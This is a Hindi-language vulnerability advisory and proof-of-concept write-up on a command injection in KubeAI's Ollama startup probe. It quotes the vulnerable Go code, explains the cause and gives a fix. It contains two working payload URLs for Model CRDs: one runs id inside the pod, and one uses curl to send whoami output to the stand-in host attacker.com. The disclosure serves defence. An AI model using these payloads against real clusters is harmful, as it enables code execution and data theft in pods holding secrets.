
KubeAI के Ollama स्टार्टअप प्रोब में OS कमांड इंजेक्शन के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो तैयार किए गए Model CRD URLs के माध्यम से Kubernetes मॉडल पॉड्स में मनमाना कोड निष्पादन प्रदर्शित करता है।
गंभीरता: उच्च (CVSS 8.7)
CWE: CWE-78 — OS कमांड में उपयोग किए जाने वाले विशेष तत्वों का अनुचित निष्प्रभावीकरण
प्रभावित: github.com/kubeai-project/kubeai <= 0.23.1
में ठीक किया गया: 0.23.2
सलाह: GHSA-324q-cwx9-7crr
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34940
श्रेय: Romain Deperne
KubeAI Go में fmt.Sprintf के माध्यम से Model CRD URL घटकों (ref, modelParam) को bash -c कमांड में इंटरपोलेट करके एक Kubernetes स्टार्टअप प्रोब शेल स्क्रिप्ट बनाता है। URL में शेल मेटाकैरेक्टर सैनिटाइज़ नहीं किए जाते हैं, जिससे Model CRD create/update RBAC वाला कोई भी उपयोगकर्ता क्लस्टर-एडमिन विशेषाधिकारों के बिना मॉडल सर्वर पॉड्स के अंदर मनमाना कमांड निष्पादन प्राप्त कर सकता है।
मैं Kubernetes AI इन्फरेंस ऑपरेटरों को देख रहा था — ऐसे टूल्स जो आपको CRD बनाकर LLM को K8s वर्कलोड के रूप में तैनात करने देते हैं। KubeAI Ollama, vLLM और अन्य इंजनों का समर्थन करता है। मेरी परिकल्पना थी: यदि कोई उपयोगकर्ता Model CRD बना सकता है, तो क्या वे मॉडल पॉड्स के अंदर क्या चलता है, इसे प्रभावित कर सकते हैं?
vLLM इंजन कोड ने तुरंत सही पैटर्न दिखाया: आर्ग्युमेंट्स exec को स्ट्रिंग ऐरे के रूप में पास किए जाते हैं, कोई शेल शामिल नहीं है। इसलिए मैंने इसके विपरीत Ollama इंजन को देखा — और पाया कि fmt.Sprintf("%s %s", pullCmd, u.ref) bash -c में फीड हो रहा है। क्लासिक शेल इंजेक्शन सेटअप।
URL पार्सर रेगेक्स [^?]+ (? को छोड़कर सब कुछ) ही इसे पक्का करता है: सेमीकोलन, बैकटिक्स, $() सभी u.ref में मान्य हैं। मैंने PoC YAML लिखा, इसे लागू किया, और मॉडल पॉड के अंदर id > /tmp/pwned को निष्पादित होते देखा।
इसे और ऊपर उठाने वाली बारीकी यह है: मल्टी-टेनेंट K8s क्लस्टर्स में, Model CRD RBAC अक्सर उन टीमों को दिया जाता है जो स्पष्ट रूप से क्लस्टर-एडमिन नहीं हैं। यह प्रतिबंधित विशेषाधिकारों वाले टेनेंट को मॉडल पॉड्स में मनमाना कोड निष्पादन तक सीधा रास्ता देता है — जिसमें माउंट किए गए सीक्रेट्स और सर्विस अकाउंट टोकन तक पहुंच शामिल है। यह उस विशेषाधिकार सीमा को पार करता है जिसे K8s RBAC लागू करने वाला है।
फ़ाइल: internal/modelcontroller/engine_ollama.go, पंक्तियाँ 185–196
func ollamaStartupProbeScript(m *kubeaiv1.Model, u modelURL) string {
// u.ref and u.modelParam come from the Model CRD URL field — user controlled
startupScript = fmt.Sprintf(
"%s %s && /bin/ollama cp %s %s",
pullCmd, u.ref, u.ref, m.Name, // u.ref: no sanitization
)
// ...
}
इस स्ट्रिंग को फिर इस प्रकार निष्पादित किया जाता है:
Command: []string{"bash", "-c", startupProbeScript}
URL पार्सर (model_source.go):
var modelURLRegex = regexp.MustCompile(`^([a-z0-9]+):\/\/([^?]+)(\?.*)?$`)
// Capture group 2 ([^?]+) allows any character except '?'
// Shell metacharacters ; | $() ` are all valid
vLLM इंजन के साथ तुलना (सुरक्षित):
// engine_vllm.go — args passed as array, no shell involved
args := []string{"--model=" + vllmModelFlag, "--served-model-name=" + m.Name}
Ollama इंजन एक शॉर्टकट अपनाता है: यह एक बहु-चरणीय शेल पाइपलाइन को एक स्ट्रिंग के रूप में बनाता है और इसे bash -c को पास करता है। vLLM इंजन exec-शैली के आर्ग्युमेंट ऐरे का उपयोग करता है। कोई भी admission webhook या CRD स्कीमा सत्यापन URL फ़ील्ड को सुरक्षित वर्णों तक सीमित नहीं करता है।
poc.yaml देखें — Ollama मॉडल के साथ KubeAI चल रहे क्लस्टर पर kubectl apply -f poc.yaml से लागू करें।
वेक्टर 1 — ollama:// URL रेफ़ (सेमीकोलोन इंजेक्शन):
url: "ollama://registry.example.com/model;id>/tmp/pwned;echo"
उत्पन्न स्टार्टअप प्रोब:
/bin/ollama pull registry.example.com/model;id>/tmp/pwned;echo && \
/bin/ollama cp registry.example.com/model;id>/tmp/pwned;echo poc-cmd-inject
id>/tmp/pwned चलता है और पॉड के अंदर /tmp/pwned में uid=0(root)... लिखता है।
वेक्टर 2 — ?model= क्वेरी पैरामीटर (OOB निष्कासन):
url: "pvc://my-pvc?model=qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo"
Generated probe:
/bin/ollama cp qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo poc-cmd-inject-pvc
पॉड का उपयोगकर्ता नाम हमलावर-नियंत्रित सर्वर पर एक्सफ़िल्ट्रेट करता है।
Model CRD RBAC वाले किसी भी उपयोगकर्ता के लिए मॉडल सर्वर पॉड्स में मनमाना कमांड निष्पादनbash -c <string> को एक exec-शैली प्रोब से बदलें जो आर्ग्युमेंट्स को एक ऐरे के रूप में पास करे (जैसा कि vLLM इंजन पहले से करता है), या इंटरपोलेशन से पहले URL फ़ील्ड्स को ^[a-zA-Z0-9._:/-]+$ के विरुद्ध मान्य करें।